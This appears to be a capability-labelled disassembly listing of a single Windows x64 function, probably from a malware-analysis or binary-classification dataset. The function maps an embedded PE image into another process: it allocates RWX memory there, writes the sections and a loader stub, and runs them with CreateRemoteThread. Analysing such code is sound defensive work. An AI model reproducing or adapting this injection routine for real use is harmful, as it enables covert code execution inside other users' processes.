Function at 0x140004fd0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r14
push r15
sub rsp, 0x80
mov eax, 0x5a4d
lea r14, [0x14030eeb0]
cmp word [0x14030eeb0], ax
mov rdi, rcx
je 0x14000502b
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xc9
call fcn.140004e80
movsxd rbx, dword [0x14030eeec]
add rbx, r14
cmp dword [rbx], 0x4550
je 0x140005060
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, Ordinal_211
call fcn.140004e80
mov eax, 0x2000
test word [rbx + 0x16], ax
jne 0x14000508e
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, Ordinal_217
call fcn.140004e80
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400050b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xdc
call fcn.140004e80
mov r8d, dword [rbx + 0x50]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x1400050ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xe0
call fcn.140004e80
mov r9d, dword [rbx + 0x54]
xor r15d, r15d
mov r8, r14
mov qword [rsp + 0x20], r15
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000514f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xe4
call fcn.140004e80
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, r15d
cmp r15w, word [rbx + 6]
jae 0x14000519b
nop dword [rax]
mov eax, esi
mov qword [rsp + 0x20], r15
lea rcx, [rax + rax*4]
mov r8d, dword [rbx + rcx*8 + 0x11c]
mov edx, dword [rbx + rcx*8 + 0x114]
add r8, r14
mov r9d, dword [rbx + rcx*8 + 0x118]
add rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc esi
cmp esi, eax
jb 0x140005160
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140005203
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0xf6
call fcn.140004e80
movsxd rax, dword [0x14030eeec]
lea r8, [rsp + 0x40]
add rax, rbp
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rax
mov r9d, gethostname
mov qword [rsp + 0x40], rbp
mov rdx, rsi
mov eax, dword [rbx + 0xb0]
mov rcx, rdi
add rax, rbp
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x58], rax
mov eax, dword [rbx + 0x90]
add rax, rbp
mov qword [rsp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x68], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, [0x140004d20]
mov qword [rsp + 0x20], r15
lea r9, [fcn.140004e70]
mov rcx, rdi
sub r9, r8
lea rdx, [rsi + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
lea r9, [rsi + 0x38]
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x1400052e8
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0x109
call fcn.140004e80
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0xa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea r11, [rsp + 0x80]
mov al, 1
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret